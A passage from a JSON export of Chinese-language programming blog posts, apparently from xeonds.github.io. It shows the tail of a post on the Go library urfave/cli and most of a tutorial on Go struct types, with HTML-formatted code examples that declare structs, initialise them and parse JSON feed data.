class=\"line\"\u003ecli.HelpFlag = cli.BoolFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;help, h\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;Help!Help!\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.VersionFlag = cli.BoolFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;print-version, v\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;print version\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerr := app.Run(os.Args)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elog.Fatal(err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BA%93urfave-cli%E7%AE%80%E4%BB%8B/"},{"title":"Go语言结构类型详解","time":"2022-11-22T11:36:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eGo允许用户自定义类型,当你需要用代码抽象描述一个事物或者对象的时候,可以声明一个 struct 类型来进行描述。\u003c/p\u003e\u003cp\u003e当然,Go语言中,用户还可以基于已有的类型来定义其他类型。\u003c/p\u003e\u003cp\u003e简单来说,Go语言中用户可以有两种方法定义类型,第一种是使用 struct 关键字来创造一个结构类型;第二种是基于已有的类型,将其作为新类型的类型说明。\u003c/p\u003e\u003ch2 id=\"01-自定义类型的基本使用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#01-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"01. 自定义类型的基本使用\"\u003e\u003c/a\u003e\u003cstrong\u003e01.\u003c/strong\u003e 自定义类型的基本使用\u003c/h2\u003e\u003cp\u003e基于已有的类型的这种方式比较简单,但需要注意的是,虽然是基于已有类型来定义新类型,但是基础类型和新类型是完全不同的两种类型,不能相互赋值,因为Go语言中,编译器不会对不同类型的值做隐式转换。\u003c/p\u003e\u003cp\u003e当需要使用一个比较明确的名字类描述一种类型时,使用这种自定义类型就比较合适,比如定义一个表示年龄的类型可以基于整形来定义一个 Age 类型,特指年龄类型。\u003c/p\u003e\u003cp\u003e下面是基于已有类型的方式定义类型的示例\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于 int64 声明一个 Duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// int 是 Duration 的基本类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 但是他们是两个完全不同的类型,在Go中是不能相互赋值的\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Duration \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 声明一个 Duration 类型的变量 d\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e d Duration\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 声明并初始化int类型的变量i 为 50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei := \u003cspan class=\"number\"\u003e50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 尝试赋值会报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ed = i \u003cspan class=\"comment\"\u003e// Cannot use \u0026#39;i\u0026#39; (type int) as type Duration\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e使用关键字 struct 来声明一个结构类型时,要求字段是固定并且唯一的,并且字段的类型也是已知的,但是字段类型可以是内置类型(比如 string, bool, int 等等),也可以是用户自定义的类型(比如,本文中介绍的 struct 类型)。\u003c/p\u003e\u003cp\u003e声明struct 结构体的公式:\u003ccode\u003etype 结构体名称 struct {}\u003c/code\u003e 。\u003c/p\u003e\u003cp\u003e在任何时候,创建一个变量并初始化其零值时,我们习惯是使用关键字 var,这种用法是为了更明确的表示变量被设置为零值。\u003c/p\u003e\u003cp\u003e而如果是变量被初始化为非零值时,则使用短变量操作符 \u003ccode\u003e:=\u003c/code\u003e 和结构字面量 结构类型{ 字段: 字段值, } 或者 结构类型{ 字段1值, 字段2值 } 来创建变量。\u003c/p\u003e\u003cp\u003e两种字面量初始化方式的差异与限制:\u003c/p\u003e\u003cp\u003e结构类型{ 字段1值, 字段2值 } 这种初始化方式时:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e在最后一个字段值的结尾可以不用加逗号 ,\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e必须严格按照声明时的字段顺序来进行初始化,不然会得不到预期的结果;如果字段类型不一致,还会导致初始化失败\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e必须要初始化所有的字段,不然会报错 Too few values\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e结构类型{ 字段: 字段值, } 这种初始化方式时:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e每一个字段值的结尾必须要加一个逗号 ,\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e初始化时,不要考虑字段声明的顺序\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e允许只初始化部分字段\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 声明无状态的空结构体 animal\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etype\u003c/span\u003e animal \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 声明一个结构体 cat\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 内部有有 name, age 两个字段\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 字段 name 类型为 string类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 字段 age 类型为 int 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etype\u003c/span\u003e cat \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e c1 cat\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c1) \u003cspan class=\"comment\"\u003e// { 0}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// c2 := cat{\u0026#34;kitten\u0026#34;} // 报错:Too few values\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c2 := cat{\u003cspan class=\"string\"\u003e\u0026#34;kitten\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c2) \u003cspan class=\"comment\"\u003e// {kitten 1}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c3 := cat{age: \u003cspan class=\"number\"\u003e2\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c3, c3.age) \u003cspan class=\"comment\"\u003e// { 2} 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 变量字段赋值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c3.name = \u003cspan class=\"string\"\u003e\u0026#34;kk\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 字段访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 变量.字段名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c3.name) \u003cspan class=\"comment\"\u003e// kk\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e以上是 struct 结构类型的基本使用,但是在项目开发中会遇到其他的用法,比如解析 json 或者 xml 文件到结构体类型变量中。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 json 的示例\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数据文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// data.json\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;site\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;npr\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;http://www.npr.org/rss/rss.php?id=1001\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;rss\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;site\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;npr\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;http://www.npr.org/rss/rss.php?id=1008\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;rss\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;site\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;npr\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;http://www.npr.org/rss/rss.php?id=1006\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;rss\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// main.go\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;encoding/json\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;os\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Feed \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Site \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`json:\u0026#34;site\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Link \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`json:\u0026#34;link\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Type \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`json:\u0026#34;type\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 JSON 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eParseJSON\u003c/span\u003e\u003cspan class=\"params\"\u003e(path \u003cspan class=\"type\"\u003estring\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e ([]*Feed, \u003cspan class=\"type\"\u003eerror\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e file, err := os.Open(path)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e, err\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 注意:打开文件之后,记得要关闭文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefer\u003c/span\u003e file.Close()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 